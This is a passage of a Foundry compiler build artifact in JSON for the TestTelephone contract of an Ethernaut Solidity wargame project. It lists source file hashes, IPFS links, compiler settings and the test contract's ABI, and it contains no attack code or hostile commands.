FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/attacks/TelephoneAttack.sol\":{\"keccak256\":\"0x743f1a1db02777b23d24acbc3e6da556c447c967496130e9a0438f64b0b11b13\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://e22b1b600c36802d83b094c5a8138e029dfed6b307f311c2c0fb88eba4e0af6c\",\"dweb:/ipfs/QmPx7rbTNhVSKZCJjVCBSLbNmKNbyP4GBJpNHpjCb11DXn\"]},\"src/levels/Telephone.sol\":{\"keccak256\":\"0xa4fd1de634a0a23ddb2062807a003081821701f1c5d441a0a4427ca7b57cf170\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1881bf7750a7ebd8c5a9239f6e5c72b97d97ec9612e80608e7199d3d9ea2c7b1\",\"dweb:/ipfs/QmUJL2Um5nMWYjxpa7gBTpeQUeDGi7Sr8uBo9YAixARiDZ\"]},\"src/levels/TelephoneFactory.sol\":{\"keccak256\":\"0xae51e2295e715886402f5ef7a4199d7256330116f64ba84672552e501595649d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b85df96e3f0eaee4aeda387987cbf557f7d9d99ba8373ce4d2a4eadccffb723\",\"dweb:/ipfs/QmSp5PwY3GYFp9YbungJpTxBNkPjrVrp9B7VgTf9qBGaoL\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/Telephone.t.sol\":{\"keccak256\":\"0x5d3e854b57aeae8f1915f10873c6dedfee1546d1672cf05208ef3033dbe5a5c1\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://657e712dfc232eebaa70c41c5faeaf1d2a3fa6b9b3c8acf7fa810ac49465e981\",\"dweb:/ipfs/QmWNMDXr6oLV1dBUN5T3cSRESzSdnY6hbDWn2V9vRkd1BC\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"contract Level","name":"level","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createLevelInstance","outputs":[{"internalType":"address","name":"instance","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"userNum","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createUsers","outputs":[{"internalType":"address payable[]","name":"","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"getEthernautWithStatsProxy","outputs":[{"internalType":"contract Ethernaut","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"getNextUserAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"contractName","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"getOldFactory","outputs":[{"internalType":"address","name":"addr","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"numBlocks","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"mineBlocks"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"setUp"},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"address","name":"instance","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitLevelInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testInit"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testSolve"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"testInit()":{"notice":"Check the intial state of the level and enviroment."},"testSolve()":{"notice":"Test the solution for the level."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/Telephone.t.sol":"TestTelephone"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c